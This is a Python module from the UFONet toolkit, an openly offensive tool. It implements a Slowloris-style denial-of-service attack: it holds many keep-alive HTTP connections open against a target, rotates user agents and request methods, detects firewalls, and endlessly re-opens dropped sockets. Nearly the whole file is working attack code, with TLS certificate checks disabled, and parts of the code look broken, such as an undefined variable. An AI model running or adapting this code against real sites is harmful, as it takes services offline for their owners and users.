"""
This file is part of the UFONet project, https://ufonet.03c8.net
Copyright (c) 2013/2020 | psy <[email protected]>
You should have received a copy of the GNU General Public License along
with UFONet; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import socket, random, ssl, re
try:
from urlparse import urlparse
except:
from urllib.parse import urlparse
def setupSocket(self, ip):
method = random.choice(self.methods)
port = 80
if ip.startswith('http://'):
ip = ip.replace('http://','')
port = 80
elif ip.startswith('https://'):
ip = ip.replace('https://','')
port = 443
self.user_agent = random.choice(self.agents).strip()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
if port == 443:
sock = ssl.wrap_socket(sock, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_TLSv1)
sock.connect((ip, port))
if method == "GET":
http_req = "GET / HTTP/1.1\r\nHost: "+str(ip)+"\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n"
elif method == "POST":
http_req = "POST / HTTP/1.1\r\nHost: "+str(ip)+"\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n"
else:
http_req = "POST / HTTP/1.1\r\nHost: "+str(ip)+"\r\nX-HTTP-Method: PUT\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n"
sock.sendall(http_req.encode('utf-8'))
resp = sock.recv(1280).split("\n".encode('utf-8'))
for l in resp:
if "Location:".encode('utf-8') in l:
try:
ip = re.findall('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', l)[0]
try:
ip = socket.gethostbyname(ip)
except:
try:
import dns.resolver
r = dns.resolver.Resolver()
r.nameservers = ['8.8.8.8', '8.8.4.4']
url = urlparse(ip)
a = r.query(url.netloc, "A")
for rd in a:
ip = str(rd)
except:
ip = target
except:
pass
else:
self.wafs_file = "core/txt/wafs.txt"
try:
f = open(self.wafs_file)
wafs = f.readlines()
f.close()
except:
wafs = "broken!"
sep = "##"
for w in wafs:
if sep in w:
w = w.split(sep)
signature = w[0]
t = w[1]
if signature in l.decode('utf-8'):
print("[Info] [AI] [Control] FIREWALL DETECTED!! -> [" , str(t.split("\n")[0]) , "]")
self.warn_flag = True
return
return sock, ip
def tractor(self, ip, requests):
n=0
try:
for i in range(requests):
n=n+1
try:
sock, ip = setupSocket(self, ip)
print("[Info] [AI] [LORIS] Firing 'tractor beam' ["+str(n)+"] -> [CONNECTED!]")
except:
print("[Error] [AI] [LORIS] Failed to engage with 'tractor beam' ["+str(n)+"]")
self.sockets.append(sock)
while True:
for sock in list(self.sockets):
try:
sock, ip = setupSocket(self, ip)
except socket.error:
self.sockets.remove(sock)
for i in range(requests - len(self.sockets)):
print("[Info] [AI] [LORIS] Re-opening closed 'tractor beam' -> [RE-LINKED!]")
sock, ip = setupSocket(self, ip)
if sock:
self.sockets.append(sock)
except:
if self.warn_flag == False:
print("[Error] [AI] [LORIS] Failing to engage... -> Is still target online? -> [Checking!]")
else:
print("[Info] [AI] [LORIS] The attack may not be effective due to the presence of a [FIREWALL] that blocks persistent connections -> [ABORTING!]")
class LORIS(object):
def __init__(self):
self.warn_flag = False
self.sockets = []
self.agents_file = 'core/txt/user-agents.txt'
self.agents = []
f = open(self.agents_file)
agents = f.readlines()
f.close()
for agent in agents:
self.agents.append(agent)
self.methods = ['GET', 'POST', 'X-METHOD']
def attacking(self, target, requests):
print("[Info] [AI] Slow HTTP requests (LORIS) is ready to fire: [" , requests, "tractor beams ]")
try:
ip = socket.gethostbyname(target)
except:
try:
import dns.resolver
r = dns.resolver.Resolver()
r.nameservers = ['8.8.8.8', '8.8.4.4']
url = urlparse(target)
a = r.query(url.netloc, "A")
for rd in a:
ip = str(rd)
except:
ip = target
tractor(self, ip, requests)